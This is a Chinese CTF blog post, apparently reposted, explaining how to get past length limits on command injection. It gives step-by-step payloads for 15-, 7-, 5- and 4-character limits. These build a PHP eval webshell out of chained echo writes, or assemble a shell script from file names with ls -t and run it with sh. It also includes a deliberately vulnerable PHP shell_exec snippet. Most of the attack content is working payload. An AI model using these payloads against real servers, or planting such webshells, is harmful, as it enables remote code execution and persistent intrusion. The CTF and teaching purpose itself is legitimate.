首页 > 其他 > 详细

命令注入长度限制绕过

时间:2019-12-04 15:50:03      阅读:200      评论:0      收藏:0      [点我收藏+]

前言:

做ctf时难免会遇到可以执行莫命令执行函数,但是命令长度被限制,不同的长度限制将采用不同的截断连接方法。

1.15位可控字符下的任意命令执行

如需执行 echo \<?php eval($_GET[1]);?\>>1

echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1

2.7位可控字符下的任意命令执行

1>a或者w>b分别可以创建a和b两个空文件夹。

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。

\作为转义符,转义之后的‘\‘是用来换行分隔,也就是换行也是连接的。

cat
这就代表cat

例如这样的代码:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

假设我产要写入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

w>hp
w>1.p\w>d\>\w>\-\w>e64\w>bas\w>=\|\w>w=\w>gpO\w>mby\w>aW5\w>Ghw\w>Agc\w>waH\w>PD9\w>o\ \w>echls -t>0

sh 0

倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。

3.5位可控字符下的任意命令执行

ls -t>0 超过了5位

>ls\ls>a
>\ \>-t\>\>0

ls>>a

这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。

4.4位可控字符下的任意命令执行

ls -th>f 超过了4位

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。

注意:

>py\\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\\产生\,但是php 代码exec时,只需要输入\即可产生\,比如 exec(“>py\”)即可。

这上面的所以payload均在linux终端shell里面进行操作,因此需要‘\‘的地方都进行了再加‘\‘转义,也就变成了‘\\‘,如果在命令注入函数里面输入时,‘\‘不需要用‘\‘转义。

4位命令绕过的payload的构造逻辑、原理:

这里大佬总结得很清晰明了了,附上链接:https://www.sohu.com/a/208155480_354899

 

命令注入长度限制绕过

原文:https://www.cnblogs.com/-chenxs/p/11981586.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!